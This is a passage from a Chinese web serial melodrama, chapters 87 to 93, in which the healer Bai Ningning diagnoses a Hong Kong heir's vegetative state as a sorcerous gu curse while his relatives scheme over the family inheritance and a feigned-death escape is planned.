她要从现在开始,就要让大家看看自己就是赵家少奶奶,未来的主母! 茶点是顶级的,餐具是精致的,梁美玲也是温和体贴的,上午闲言碎语,卖弄口舌的那些女仆们都恭恭敬敬小心伺候着。 楚小小心里冷笑,你们再怎么在心里看不起我,不还是一样要伺候我? 你们这群山鸡还敢嘲笑凤凰? 但她没得意多久,当一个打扮优雅、气质出众的年轻女孩,在梁美玲的介绍下,坐在她面前时,楚小小才明白今天下午的这杯茶,是她人生中最屈辱的一杯。 “小小,我给你介绍一下,”梁美玲的脸上,带着温和却又疏离的笑容,“这位,是李家的千金,李小欣小姐。她刚从剑桥毕业回来,我和她母亲是多年的手帕交。” 楚小小看着眼前这个一看就是大家闺秀的女孩,心中升起一丝不祥的预感。 就在这时,客厅的门被推开了,赵宇轩穿着一身剪裁合体的定制西装,走了进来。他没有看楚小小一眼,而是径直走到了李小欣的身边,一改面对她时候的轻佻,而是她从未见过的欣赏和温柔笑意。 赵宇轩极其自然地坐在李小欣身旁,拿起桌上的茶壶,亲自为她续上一杯茶,语气亲昵:“怎么不等我回来就先开始了?妈也真是的,不知道你最喜欢喝我亲手泡的龙井。” 那副熟稔又亲密的姿态,仿佛他们是一对天造地设,令人羡艳的璧人。 梁美玲看着这一幕,满意地笑了,这才对着已经脸色煞白的楚小小,继续介绍道:“李小姐以后,会是宇轩的未婚妻,也是你未来的……少夫人。” “少夫人”三个字,像是一道霹雳劈得她眼前发黑! 她眼睁睁地看着赵宇轩,带着李小欣,谈笑风生。两人从商业聊到艺术,从红酒聊到马术,言语间充满了默契和欣赏。 而自己的“未来婆婆”梁美玲,则和李小欣热络地讨论着订婚的细节,仿佛她这个“孩子的亲生母亲”,只是一个暂时的容器。 那一刻,她终于彻底明白了。 赵家要的不是她,是她肚子里那个儿子。 她不是什么“天选之女”,她只是一个既可悲的又可笑,用完即弃的生育工具。 屈辱像潮水一样将她淹没。楚小小再也坐不住了,脸色煞白地站起身,仓皇地逃离了那个让她窒息的客厅。 她躲在洗手间冰冷的大理石隔间里,用冷水拍打着自己滚烫的脸颊,心中充满了绝望和不甘。 但就在这时,她的目光,透过镜子,看到了镜中那个狼狈不堪的自己。 曾经她也是京市局长的女儿,曾经她也是傅家风光无限的长房孙媳! 现在却要沦落到一个商人见不光的不上台面的情妇了? 开什玩笑! 她不能就这么认输!更不能让他们这样利用完自己的生育价值后就弃若敝履! 她闭上眼,眼前不就是一个现成的例子吗? 梁美玲! 她也是情妇上位,也是靠着儿子,才有了今天! 她能熬死原配,挤走嫡子,我为什么不能?! 楚小小看着镜中的自己,眼中不再是恐惧和屈辱,而是燃起了一股偏执而又疯狂的火焰! 她找到了自己新的“目标”! 爱情?她和赵宇轩之间本就是互相利用,各取所需。 名分?现在看来他们也不打算给,他们把自己当做是生育机器,他们要的是自己肚子里的儿子! 那么儿子就是她最大的筹码,她要做的,是死死地抱紧自己手里这唯一的、也是最大的王牌! 她要学!学的是梁美玲的手腕心机和隐忍! 她要忍!忍到爬上主母宝座的那一天! 既然你不接纳我,那就变成你!甚至是……超越你! 楚小小缓缓地直起身,擦干脸上的泪痕。当她重新走出洗手间时,脸上已经恢复了平静,甚至还带着一丝谦卑又带着几分讨好的笑容。 她走到梁美玲身边,乖巧地坐下,仿佛刚才那个崩溃的人不是她一样。 她低下头,掩去了眼中那怨妇的光芒。从现在起,她必须隐忍,必须学习,必须谋划。直到她和她的儿子,成为这座豪宅里,真正的主人。 第88章 来自港市的求助 就在楚小小将梁美玲视为新“偶像”,在豪门深宅里开始新一轮的偏执幻想之时,第一家专柜在王府井百货开业当天,就创下了京市百货业单日销售额的历史新高。 修复膏和祛疤膏,更是因为其惊人的效果和军方背书的信誉,成了人人疯抢的“硬通货”,甚至被当成送礼的最高级别“特产”,一度一瓶难求。 秦悦忙得脚不沾地,却乐在其中。陆泽远则带领着他的团队,在实验室里攻克一个又一个技术难关,不断推出新品。白凝凝作为“董事长”,反而成了最清闲的那一个,被傅清寒勒令在家安心养胎。 港岛,浅水湾。 海风带着咸湿的潮气,吹拂着这片寸土寸金的富人区。半山之上,一座名为“圣心”的顶级私立疗养院,如同一座白色的堡垒,静静地矗立在苍翠的树木之间。 它的安保级别堪比军事要塞,森严的电网、无处不在的监控探头,以及那些西装革履、耳戴通讯器、眼神警惕的安保人员,都昭示着这里住着非同一般的人物。 一辆黑色的宾利,在经过三道岗哨的严格盘查后,无声地驶入了疗养院的停车场。 车门打开,一个穿着深色风衣,气质儒雅、眼神却像鹰隼般锐利的年轻华人男子,快步走了下来。他不是别人,正是苏家的长孙——苏文赫。 他刚刚从赵家大宅,参加完他名义上的姑父、赵氏集团董事长赵建城的吊唁仪式回来。 他至今都无法忘记,在灵堂上,那个曾经只是他姑父情妇、如今成功上位的继室——梁美玲,是如何“悲痛欲绝”地表演着。他也无法忘记,赵建城的弟弟赵建邦,是如何像个“忠臣”一样,忙前忙后,以主人的姿态,稳定着大局。 而他血脉相连的亲表弟——赵建城与他亲姑妈苏明玉的独生子、赵家名正言顺的太子爷赵承熙,此刻,就躺在这座被严密监视的“白色监狱”里,生死不明。 他穿过长长的、消毒水味浓重的走廊,推开了一间顶级VIP病房的门。 病房里,窗明几净,各种最先进的医疗设备,安静地闪烁着指示灯。然而,躺在病床上的那个人,却让整个房间,都充满了死寂的气息。 赵承熙。 那个曾经在马球场上策马扬鞭、在谈判桌上挥斥方遒的赵家麒麟儿,此刻,却像个没有灵魂的木偶,双眼空洞地望着天花板,嘴角甚至还挂着一丝不易察觉的涎水。除了胸口微弱的起伏,他与死人无异。 “苏先生,”一旁穿着白大褂、看起来像是主治医生的中年男人,看到苏文赫进来,立刻满脸堆笑地迎了上来。他名义上是疗养院的院长,实际上,却是赵建邦的心腹。 “您又来看承熙少爷了。”他用一种充满了“同情”和“无奈”的语气说道,“我们已经请了全港岛最好的专家进行会诊。赵先生的大脑皮层受到了不可逆的损伤,医学上,我们称之为‘植物人状态’。他能维持生命体征,已经是奇迹了。” “你们的诊断,依旧是‘悲伤过度导致急性中风’?”苏文赫看着病床上毫无生气的表弟,声音里带着压抑的、冰冷的怒火。 “是的,先生。”院长叹了口气,演得惟妙惟肖,“从所有的检查报告来看,这是唯一的解释。我们没有发现任何外力或中毒的迹象。唉,承熙少爷一向孝顺,老爷子突然离世,他一时承受不住……也是人之常情啊。” 人之常情? 苏文赫心中冷笑。一个从小经历过各种高压训练、心理素质远超常人的天之骄子,会因为父亲去世,就“悲伤过度”到变成植物人? 而且,表弟现在这副样子……这空洞的眼神,这无意识的涎水,这僵硬的四肢……为什么,会和他印象中,姑妈苏明玉去世前那几个月的状态,如此的相似?! 他清楚地记得,姑妈当年也是在一次“意外”摔倒后,身体每况愈下。起初只是嗜睡、反应迟钝,到后来,也像表弟现在这样,渐渐失去了神采,变成了一个只会呼吸的木偶。当时,所有的医生,也都查不出任何病因,最终只能归结于一种罕见的、快速衰退的“遗传性神经疾病”。 而更让他感到不寒而栗的是,港岛的上流圈子里,已经开始悄然流传着一些风言风语。 有“知情人士”透露,赵家大少爷赵承熙的突然倒下,并非意外,而是和他母亲苏明玉一样,是苏家的“遗传病”发作了。甚至有人言之凿凿地说:“苏家这一脉的血统,看来是有问题的。” 是谁,在赵承熙刚刚倒下、赵宇轩即将上位的这个节骨眼上,放出这种既能为赵承熙的“意外”找到合理解释,又能顺便往早已去世的苏明玉和整个苏家身上,再泼一盆脏水的恶毒流言? 苏文赫都不用细想,他脑海里就清晰地浮现出了梁美玲那张看似温婉、实则精明的脸! 一箭双雕! 好一招恶毒的“盖棺定论”! 苏文赫想到这里,只觉得一股寒意,从脚底,直冲天灵盖!他送走了医生,坐在床边,看着表弟的脸,眼中充满了痛苦和不甘。 他知道,西医已经盖棺定论,是指望不上了。 想要救表弟,就必须找到一个……真正懂行的、能打破常规的“奇人”! 一个念头,猛地从他脑海中,跳了出来! 他想起了几个月前,无意中听到的一个来自京市的传闻。 他大学时期的好友陈慕白,他家那位退下来多年的陈老司令,本已病入膏肓,却被一个年轻的“神医”给救了回来,现在身子骨比以前还硬朗! 当时他只当是个趣闻,并未深究。可现在,这个传闻,却成了他唯一的希望! 他立刻走到病房外,躲开那些监视的目光,用一部加密电话,拨通了远在京市陈慕白的号码。 电话那头,很快就传来了陈慕白那温润而又熟悉的声音。 “文赫?怎么突然想起给我打电话?” 第89章 不是病,是蛊 “慕白,”苏文赫的声音,带着一丝急切和郑重,“我找你帮个忙。我记得你之前提过,你爷爷的病……” 他向陈慕白,言简意赅地讲述了自己家族的巨变和表弟的蹊跷“病情”,并直接点明了自己的目的: “……西医已经束手无策。慕白,我需要你帮我联系上那位治好你爷爷的‘神医’!无论什么代价,我都愿意付!” 电话那头,陈慕白沉默了许久。他知道,苏文赫是真正的精英,他绝不会病急乱投医。他一定是走投无路,才将这最后的希望,寄托在了这看似“玄学”的中医上。 “文赫,”陈慕白的声音,也变得前所未有的严肃,“你找对人了。她的医术,远比传闻中更神奇。或许……她是现在,唯一能帮你的人。” 他没有过多地解释,只是简单地又提了一句:“她叫白凝凝。说来也巧,她现在,是傅家的小儿媳,也是……爷爷认下的孙女,也是我的妹妹了。” 这个消息,让苏文赫更是心中一震!他知道,能和陈家、傅家这种顶级家族扯上关系,这位“神医”的背景和能力,绝对超乎想象! “慕白!帮我!无论如何,帮我联系上她!”苏文赫的语气里,充满了破釜沉舟的决心,“我现在就订机票!我带着承熙所有的病历,立刻飞京市!” 挂了电话,苏文赫看着窗外阴沉的雨幕,眼中却重新燃起了希望的火焰。 他知道,他此行的成败,将关系着表弟的生死,以及……整个赵氏家族未来的命运! —— 京市,初秋。 白凝凝正懒洋洋地窝在自家小院的躺椅上,享受着午后温暖的阳光。腹中的小生命已经快五个月了,她的小腹微微隆起,整个人都散发着一种母性的、温柔的光晕。 傅清寒拿着一本他刚从图书馆借来的《准爸爸必读手册》,坐在她旁边,看得比军事报告还认真。时不时地,他还会伸出手,极其珍视地、小心翼翼地覆上白凝凝的肚子,感受着里面那微弱的胎动,那张万年不变的冰山脸上,会露出一丝傻乎乎的、初为人父的笑意。 就在这时,陈慕白带着一个面容冷峻、气质不凡的年轻男人,走进了小院。 “凝凝,清寒。”陈慕白笑着打招呼,“给你们介绍一下,这位是我的大学同学,也是我最好的朋友,苏文赫。” 苏文赫看着眼前这对沐浴在阳光下、岁月静好的璧人,尤其是看到那个传说中的“神医”白凝凝,竟然是这样一个看起来娇娇软软、挺着肚子的年轻孕妇时,眼中闪过一丝不易察觉的惊讶。但他很快就收敛了情绪,主动上前,对着两人,郑重地、深深地鞠了一躬。 “傅部长,白医生。”他的声音,因为长途飞行的疲惫和压抑的焦虑而显得有些沙哑,“冒昧来访,请见谅。我这次来,是想求您……救我表弟一命!” 说着,他将一个厚厚的、装满了各种英文病历和影像资料的文件袋,双手奉上。 出于谨慎,他只字未提赵家的内部纷争,只将自己伪装成一个为表弟病情而奔走的、焦急的亲人。 白凝凝点了点头,接过病历。傅清寒则像一尊沉默的守护神,坐在她的身旁,不动声色地为她续上一杯温热的安神茶,那双深邃的黑眸,却像鹰隼一般,锐利地打量着眼前这个气质不凡的“不速之客”。 作为新上任的后勤部副部长,他第一件着手处理的,就是赵宇轩那起“问题军服案”的后续收尾工作。在整理卷宗时,他早已将港岛赵家那点盘根错节的豪门恩怨,查了个底朝天。 赵建城、赵建邦、梁美玲、赵承熙、赵宇轩……这些名字,他比任何人都清楚。 所以,当苏文赫拿出那份病历,讲述他表弟的“离奇病情”时,傅清寒心中早已有了判断。但他没有点破,只是静静地观察着。 客厅里很安静,只有纸张翻动的沙沙声。 白凝凝看得很仔细。病历上,各项生理指标都趋于正常,脑电图也只是显示皮层活动微弱,所有的诊断,都指向了一个毫无破绽的结论——因剧烈情绪波动引发的“急性中风”,导致不可逆的脑损伤。 可白凝凝的眉头,却越皱越紧。 她总觉得,哪里不对劲。 她合上病历,抬起头,清冷的目光直视着苏文赫,问道:“除了这些西医的病历,你有没有带一些……他最近的私人物品?比如,头发,或者穿过的、没洗过的衣服。” 苏文赫一愣,虽然不解,但还是立刻从随身的公文包里,取出了一个用密封袋装着的小梳子,上面还缠绕着几根赵承熙的头发。这是他临走前,留的一个心眼。 “这个可以吗?” “可以。” 白凝凝没有去接那个梳子,而是闭上了眼睛。她将自己的精神力,缓缓地、如丝线般探出,朝着那几根头发,缠绕而去。 这是她师门秘传的“隔空诊脉”之术,极为耗费心神,若非情况特殊,她绝不会轻易动用。 在诊脉中,她看到那几根看似正常的头发上,却附着着一种极其微弱、却又阴冷无比的、非生非死的诡异气息! 那种气息,像一条细小的、几乎看不见的虫子,正贪婪地啃噬着头发中断裂的生机。 白凝凝猛地睁开眼睛,脸色瞬间变得有些苍白。 “凝凝,怎么了?”傅清寒立刻察觉到她的不对,一把扶住了她,眼中是掩饰不住的担忧。 白凝凝摇了摇头,示意自己没事。她抬起头,看着苏文赫,一字一句地,说出了一个让他如遭雷击的结论: “你表弟,不是病,也不是毒。他……是中了一种来自南洋的邪术——子母牵机蛊。” “蛊?!” 陈慕白失声惊呼!这个只存在于传说中的词汇,从白凝凝口中如此笃定地说出,让他感到一阵头皮发麻! 而苏文赫,在听到这个“蛊”字的瞬间,身体猛地一僵!他没有像陈慕白那样惊呼出声,但他脸上那瞬间褪尽的血色,和骤然紧缩的瞳孔,却暴露了他内心那远比震惊更强烈的骇然! 蛊! 这个诡异的、只存在于志怪小说里的词,像一道黑色的闪电,瞬间劈开了他记忆的迷雾! 他脑海里,不受控制地,浮现出了十几年前,姑妈苏明玉去世前的种种异样—— 第90章 傅清寒的条件 同样是毫无征兆的嗜睡和反应迟钝! 同样是寻遍名医也查不出任何病因! 同样是最后在“意外”后,迅速衰败,变成了一个只会呼吸的木偶! 同样是最后被医生归结于一种语焉不详的“罕见病”! 而他更清楚地记得,姑妈出事前半年,梁美玲,那个当时还只是他姑父情妇的女人,曾经从南洋“求”来了一尊据说能“保佑家族安康”的玉佛,送给了姑妈! 姑妈当时还很高兴,将那尊玉佛,日夜摆在自己的床头…… 原来如此! 原来如此!!! 所有的巧合,在这一刻,都被串成了一条充满了血腥和恶毒的线! 苏文赫只觉得一股寒意,从脚底,直冲天灵盖!他不是震惊于这个世界上真的有“蛊”,他是震惊于,梁美玲那个女人的布局,竟然从十几年前,就已经开始了! 她不仅用这种恶毒的手段废掉了他的表弟,更用同样的手法,害死了他的亲姑妈! “不可能……”苏文赫的声音,带着他自己都未曾察觉的、剧烈的颤抖。他不是在反驳白凝凝,而是在喃喃自语,是在表达对自己推断出的这个可怕真相的难以置信! “……我姑妈,就是承熙的母亲,她当年……也是这样!一模一样的症状!难道……” 他不敢再说下去,他抬起头,用一双充满了血丝的眼睛,死死地盯着白凝凝,像一个溺水之人,在抓着最后一根救命稻草! 白凝凝看着他那副几近崩溃的模样,心中了然。她轻轻叹了口气,继续说道: “这正是这种蛊术最阴毒的地方。子母牵机蛊,分为子蛊和母蛊。下蛊之人,只需将无形的‘子蛊’,通过某种媒介——比如贴身的玉佩、摆件,种入受害者体内。子蛊平时不会发作,只会像寄生虫一样,慢慢地、无声无息地,吸食他的精气和生机,让他的身体,变得越来越虚弱。” “而那个下蛊之人,手里则掌握着‘母蛊’。只要她在某个特定的时机,催动母蛊,千里之外的子蛊就会瞬间爆发,吞噬宿主的脑髓,造成类似‘急性中风’的症状,让人脑死亡,成为植物人。这种手法,神不知鬼不觉,事后,无论用什么仪器,都检测不出任何异常。” 白凝凝的每一句话,都像一把重锤,狠狠地砸在苏文赫的心上,将他所有的侥幸和怀疑,砸得粉碎! 贴身的玉佩、摆件? 姑妈将那尊玉佛,日夜摆在自己的床头,而表弟则有一块从不离身的九龙玉佩,可那是赵家的传家宝,也是继承人的信物! 梁美玲她怎么敢的! 苏文赫只觉得太阳穴的青筋砰砰直跳,但现在不是气愤的时候,他来内地就是为了救表弟的。 他闭眼,好一会儿才找到自己嘶哑的声音:“那……那还有救吗?” 白凝凝沉默了片刻,然后,点了点头:“理论上有救。但很麻烦,子蛊已经侵入脑部神经。我需要见到病人,亲自施针,再配合特制的‘解蛊汤’,才有希望将子蛊逼出来。” 听到“有救”两个字,苏文赫激动得无以复加,他对着白凝凝深深一躬:“白小姐,只要您愿意去港岛,无论什么代价,苏家都愿意付!” “她不会去港岛。” 一个冰冷而又坚决的声音,像一盆冰水,兜头浇下。但它浇灭的,不是苏文赫所有的希望,而是他那不切实际的请求。 是傅清寒。 他站起身,高大的身影,像一堵墙,挡在了白凝凝和苏文赫之间。他看着苏文赫,眼神里没有半分商量的余地。 “苏先生,我妻子怀着孕,长途奔波,于胎儿不利。更何况,港岛现在是赵建邦和赵宇轩的地盘。下蛊之人就在那里,其心之毒,手段之诡,防不胜防。我不可能让她为了一个……‘外人’,去冒这种风险。” 苏文赫的心,猛地一沉! “清寒!”白凝凝也皱起了眉,她想说些什么。 “凝凝,”傅清寒回过头,握住她的手,语气强硬,但眼神却柔和了下来,“我知道你想救人。但这件事,你不能去。我答应过你,不会再让你受任何委屈和危险。” 他安抚好妻子,这才重新看向脸色煞白的苏文赫,但这一次,他并没有把话说死。 “不过,”他缓缓开口,抛出了一个让苏文赫重新燃起希望的条件,“她不去,不代表你表弟没得救。” 苏文赫的眼睛瞬间亮了! 傅清寒看着苏文赫,一字一句,清晰地提出了自己的条件: “想让我妻子出手,可以。但不是我们去港岛,而是你,想办法把赵承熙,秘密地运到京市来。” “运到京市?!”苏文赫和陈慕白都震惊了! 傅清寒看着苏文赫那副震惊的表情,眼神里并未没有松动,“苏先生,这是唯一的办法。”他的声音,不带一丝感情,“在京市,在我们的地盘上,我能保证我妻子的绝对安全。你办得到,我就让她救人。你办不到……那我也爱莫能助。” 苏文赫的脑子在飞速运转。 把一个被严密监视的“植物人”,从港岛秘密运到千里之外的京市?这听起来像天方夜谭!梁美玲那个女人,把他表弟看得比什么都紧,就是为了防止他有任何“苏醒”的可能! 但是,他看着傅清寒那双深不见底的黑眸,他知道,自己没有第二个选择。 要么,冒险一搏。要么,就只能眼睁睁地看着表弟,看着苏家最后的血脉,在那个恶毒女人的掌控下,慢慢枯萎。 “好!”苏文赫猛地一咬牙,眼中迸发出一股破釜沉舟的狠厉,“傅部长,给我一周时间!一周之内,我保证,将承熙送到京市!” 傅清寒满意地点了点头,他欣赏这种果决,“那我们等你。” 在苏文赫前往内地之时,港岛,中环,赵氏集团那栋形如利剑、直插云霄的总部大厦顶层,一场气氛紧张的董事会,正在召开。 新任集团主席赵建邦,坐在原本属于他兄长的主位上,脸上带着温和的、试图掌控全场的微笑。他的旁边,坐着他刚刚被任命为“集团副总裁”的儿子,赵宇轩。 然而,会议室里的气氛,却远不像他脸上的微笑那般轻松。 第91章 九龙玉佩 “建邦,我们承认,在大哥去世、承熙病倒后,你出来稳定局面,是有功的。”一位头发花白、在集团里德高望重的元老级董事,将手中的雪茄重重地按在烟灰缸里,毫不客气地说道,“但是,让宇轩这个孩子,一上来就当副总裁,是不是太草率了?” 另一位与苏家关系匪合的董事,也立刻附和道:“没错!宇轩之前在内地惹出那么大的乱子,差点连累集团的声誉!现在你让他当集团的二把手,我们不放心!” “再说了,”元老董事的目光,锐利地扫过赵建邦和赵宇轩,“承熙才是老爷子生前亲定的继承人!他现在只是‘病了’,不是死了!这个继承人的位置,就该给他留着!赵家的规矩,不能乱!” 这番话,像一颗投入油锅的火星,瞬间点燃了会议室里的火药味。支持赵承熙的“老臣子”们,纷纷点头,而赵建邦提拔上来的新贵们,则立刻出言反驳。 赵宇轩坐在那里,听着那些毫不掩饰的质疑和鄙夷,脸上青一阵白一阵,放在桌下的双手,死死地攥成了拳头。 他第一次发现,原来当上“太子爷”,也并不是那么风光。 最终,还是赵建邦以新任主席的身份,强行压下了所有反对的声音,宣布散会。 但他清楚地意识到,如果不能尽快做出让所有人都闭嘴的成绩,他和宇轩的地位,将岌岌可危。 当晚,赵家半山别墅,那间平日里谁也不许进入的密室里。 梁美玲听完赵建邦对白天董事会的转述,狠狠地将手中的红酒杯摔在了地上。 “老不死的东西!”她的脸上,再也没有白日的雍容华贵,只剩下扭曲的怨恨,“都什么时候了,还惦记着赵承熙那个小杂种!小杂种命还真大,白石大师的蛊都没弄死他,便宜他了!” “你别说了,快点想办法是正经事!” “他们想给那个小杂种留位置?做梦!”梁美玲的眼中闪过一丝毒蛇般的狠厉,“建邦,不能再等了。夜长梦多,只有死人,才不会跟我们抢位置!” 赵建邦点头赵承熙现在虽然是个植物人,但只要他还活着一天,就是董事会那些老家伙们用来攻击他们的武器。“你想怎么做?还去找大师?” 梁美玲的嘴角,勾起一抹冰冷的、残忍的弧度:“不,不到万不得已不能去麻烦大师。他不是‘病了’吗?那就让他……病得更重一点。” 她凑到赵建邦耳边,低声说出酝酿已久的恶毒计划:“我们重金请来的那位主治医生,不是说承熙能维持生命体征,已经是奇迹了吗?那我们就让这个‘奇迹’,提前结束。” 赵建邦点点头,“斩草除根,但不能做的太明显,让人抓到把柄就不体面了。最好还是大家伙默认,让谁也挑不出理。” —— 次日,赵氏集团总部大厦顶层,那间象征着权力顶峰的会议室里,气氛压抑得如同暴风雨前的海面。 赵建邦坐在主位上,脸上带着恰到好处的悲戚和疲惫。他环视了一圈会议桌旁的各位董事,这些都是跟随他大哥赵建城打下江山的元老,每一个人的眼神里,都带着审视和怀疑。 “各位叔伯,”赵建邦的声音沙哑,仿佛一夜之间苍老了十岁,“今天请大家来,是想和各位商议一件……关于承熙的事。” 他顿了顿,从怀里拿出一块洁白的手帕,轻轻拭了拭眼角并不存在的泪水,那副痛心疾首的模样,足以让任何不明真相的人为之动容。 “承熙他……医生已经下了最后的诊断。”他哽咽着,声音里充满了“无奈”和“绝望”,“大脑皮层不可逆损伤,即便有生命支持系统,也永远不可能再醒过来了。他现在,只是在受罪,在毫无尊严地……活着。” 会议室里一片死寂,只有雪茄燃烧时发出的轻微“滋啦”声。 赵建邦深吸一口气,像是下了一个无比沉痛的决定,他看着众人,一字一句地说道: “我和大嫂商量了一整夜。我们……我们不能再看着他这么痛苦下去了。我决定,以他唯一在港长辈的名义,向疗养院提出申请——放弃对他的一切有创治疗,撤掉那些让他痛苦的呼吸机和监护设备。” “我们想让他……走得有尊严一点。” 话音刚落,坐在赵建邦对面的,一位与苏家交情匪浅的老董事——李伯,猛地一拍桌子,站了起来! “我反对!”李伯须发皆张,一双浑浊的老眼此刻却精光四射,他指着赵建邦的鼻子,毫不客气地质问道,“建邦!你这是安的什么心?!承熙才是你大哥生前亲定的继承人!他现在只是病了,不是死了!你就这么迫不及待地想让他死,好让赵宇轩那个不成器的废物上位吗?!” “李伯!你怎么能这么说!”赵建邦立刻换上了一副被冤枉的、痛心疾首的表情,“我这都是为了承熙好啊!你没看到他躺在床上的样子吗?那跟活死人有什么区别?!” 没等李伯反驳,赵建邦提拔上来的亲信,集团新任的财务总监陈总,立刻敲了敲桌子,站出来“主持公道”: “李董,话不能这么说!我们都为承熙少爷感到痛心,但现在是什么时候?集团股价动荡,海外几个大项目都等着最高层拍板!难道我们要让整个赵氏集团,都停下来,等一个永远不可能醒来的植物人吗?!再说宇轩少爷有什么不好,都是建城的骨肉。” 陈总的话,像一颗投入油锅的火星,瞬间点燃了会议室里的火药味。 “陈耀辉!你少在这里假惺惺!”李伯怒斥道,“别以为我不知道你屁股底下有多少烂账!大哥在的时候,早就想查你了!现在你巴结新主子,是想把那些烂账都抹平吧?!” “你血口喷人!”陈总也拍案而起。 “都别吵了!”李伯深吸一口气,目光扫过全场,抛出了一个让赵建邦脸色微变的重磅炸弹! “就算承熙暂时无法理事,赵家的规矩也不能乱!”他高声说道,“你们别忘了!建城临终前,亲手将‘九龙玉佩’交到了承熙少爷手里!” “玉佩历来都是赵家家主的证明,你们谁敢说,承熙不是赵家的继承人了?!” “九龙玉佩”四个字一出,会议室里瞬间安静了下来。所有董事都面面相觑,心中各自盘算。九龙玉佩是赵家代代相传的祖传宝物,也是家主的信物,象征着赵家最高继承权,不仅如此,更是开启赵家在瑞士银行那笔秘密家族基金的唯一钥匙!那笔基金的庞大,是所有人都心知肚明的,那是赵家真正的命脉。 第92章 苏文赫唯一的指望 赵建邦的眼中闪过一丝阴鸷,他没想到李伯竟然会拿玉佩说事。但他很快就调整好了情绪,脸上露出了更加“悲痛”和“无奈”的表情。 他站起身,对着所有人深深一躬,语气沉痛地说道: “各位叔伯,我理解大家的心情,也比任何人都希望承熙能醒过来。既然大家对‘放弃治疗’有疑虑,那我们当然不能这么做。但是……”他话锋一转,语气里充满了“无奈”和“慈悲”, “……我们也不能再看着他被那些冰冷的仪器和药物折磨了。我作为承熙的亲叔叔,是他在这个世界上最亲的人,我有责任为他做出最人道的选择。我决定,从今天起,我们将承熙的治疗方案,从‘积极抢救’调整为‘保守治疗’。” “我们将停止一切对他身体造成巨大负担的药物注射和有创抢救措施,只保留最基础的生命支持系统和营养供给。让他能不受打扰地、有尊严地静养,等待奇迹的发生。我想,这个决定,既体现了我们对生命的尊重,也符合人道主义精神,大家……应该不会再有异议了吧?” 这番话说得滴水不漏,冠冕堂皇。 “保守治疗”——多好的一个词!所有人都心知肚明,这其实就是变相的“等死”。但就像赵建邦说的,他是赵承熙唯一的直系长辈,他做出的这个“人道”的决定,在法律和情理上,都让人挑不出任何毛病。 李伯气得浑身发抖,他知道赵建邦这是在用最虚伪的手段,一步步地将承熙推向死亡的深渊,可他却无力阻止。其他董事也陷入了沉默,他们虽然心中不安,但在“家事”面前,他们这些“外人”确实没有干涉的权力。 最终,董事会以一种诡异的沉默,默认了赵建邦的“保守治疗”方案。 李伯恨恨地坐下,心中充满了不祥的预感。他看着赵建邦那张虚伪的脸,自己必须立刻做点什么。 而另一边,梁美玲在得知董事会的结果后,只是轻蔑地一笑。 她早已料到董事会的那些老顽固不肯乖乖就范,居然还拿“九龙玉佩”当挡箭牌。 九龙玉佩再怎么厉害,还不是一块死物?只要赵承熙一“死”,那块玉佩,还不是任由她这个当家主母来保管? —— 苏文赫是在傅家小院那间雅致的客房里,接到的李伯电话的。 京市的深夜,万籁俱寂,只有窗外几声清脆的秋虫鸣叫。 大哥大的铃声突兀地响起,打破了这片宁静。苏文赫抓起话筒,听筒里传来李伯压抑而又焦急的声音。 “文赫!是我!情况有变!赵建邦今天在董事会上,正式提议对承熙实行‘保守治疗’,停止一切积极抢救的药物!那些老家伙们……竟然都默认了!他们就是要承熙死!你必须立刻回来,否则……恐生巨变!” 挂了电话,苏文赫只觉得一股彻骨的寒意,从脚底板,疯狂地窜上天灵盖!他手中的话筒,都因为用力而发出不堪重负的“咯吱”声。 放弃治疗!停止用药! 他立刻就明白了赵建邦和梁美玲那恶毒至极的用心!他们不是在等奇迹,他们是在用最“合法”、最“人道”的方式,公开地谋杀赵家真正的继承人! 一股滔天的怒火和后怕涌上心头,他几乎想立刻订机票冲回港岛,当着所有董事的面,撕开赵建邦那张虚伪的嘴脸! 但他不能。 那样的话无异于以卵击石。他没有任何证据,更何况他只是个表哥,是苏家的人,在承熙亲叔叔面前他没有任何立场去阻止。不仅无济于事,甚至可能会打草惊蛇,让对方狗急跳墙! 怎么办?! 苏文赫在房间里来回踱步,焦虑得像一头被困在笼中的猛兽。 他现在走投无路了,就在几乎要被绝望吞噬之际,一个清冷、笃定的声音,在他脑海中响起—— “他……是中了一种来自南洋的邪术——子母牵机蛊。” 白凝凝! 这个念头一冒出来,就像一道划破黑暗的光,瞬间照亮了他所有的绝望! 对!还有她! 现在能救表弟的人,只有那个一眼就能看穿背后真相的女人!那个能说出“蛊毒”这种匪夷所思之事的女人! 还有她身边的傅清寒! 他们一定有办法! 苏文赫再也无法按捺,他甚至连外套都来不及穿,直接冲出了客房,不顾深夜的寒凉,重重地敲响了主卧的房门! “傅团长!白医生!出事了!” 门很快就开了。 傅清寒只穿着一件简单的睡衣,他看着门外神色焦急、双目赤红的苏文赫,眉头微微一皱,但还是侧身让他进了屋。 “文赫,这么晚了,发生什么事了?”傅清寒的声音低沉而冷静。 苏文赫再也无法维持表面的镇定,他将刚才的通话内容和盘托出,声音里带着压抑的怒火和一丝近乎哀求的绝望: “他们要动手了!他们要用‘保守治疗’的名义,杀了我的表弟!我必须立刻把他运出来!” 他看着傅清寒,说出了自己能想到的唯一办法:“傅团长,你能不能帮我?想办法在疗养院制造一场混乱,比如一场小规模的‘火灾’或者‘电路故障’,趁着混乱,我安排人进去,把他救出来!这是唯一的办法了!” 苏文赫话音刚落,白凝凝也披着外套从卧室里走出来。 傅清寒连忙走过去,给她衣服系好扣子。 白凝凝道:“你这个办法风险太高。” 苏文赫一愣,白凝凝继续冷静给他分析道:“港岛是他们的地盘,你表弟现在是他们的眼中钉肉中刺,疗养院肯定被他们看得固若金汤。任何一场‘意外’,都会引起他们最高度的警惕,想把人救出来难如登天。第二,如果我们真的去了,没有成功,他们反而会顺势杀人灭口,再会把你表弟的死都嫁祸到我们头上,杀人放火的罪名就是板上钉钉。” 第93章 苏文赫的投名状,真戏假做 看着苏文赫眼中渐渐黯淡下去的光,白凝凝话锋一转,“不过,我倒是有个法子或许可以解决这个难题,我配过一味药名为‘龟息散’。” 她缓缓解释道:“此药服下后,可在十二个小时内,让服用者进入一种深度假死状态。脉搏、心跳、呼吸都会降至最低,甚至连体温都会下降,与真正的死人无异,就算是当今最精密的医疗仪器也检测不出任何生命体征。但十二个小时内,只需用特制的解药,或以金针刺穴,便可安然无恙地醒来。” 听到她的话,苏文赫的眼睛瞬间都亮了!这个匪夷所思的“龟息散”,不就是小说里常说的假死药吗?难道世界上真的有这种东西?“真的有这种东西?你没开玩笑吗?” 凝凝笑了笑,“蛊毒之术都是真的,有这种药有什么奇怪的?但是你记得12小时后人就会醒,时间一定要把握好,不然就弄巧成拙了。” 傅清寒开口,“那我们将计就计?” 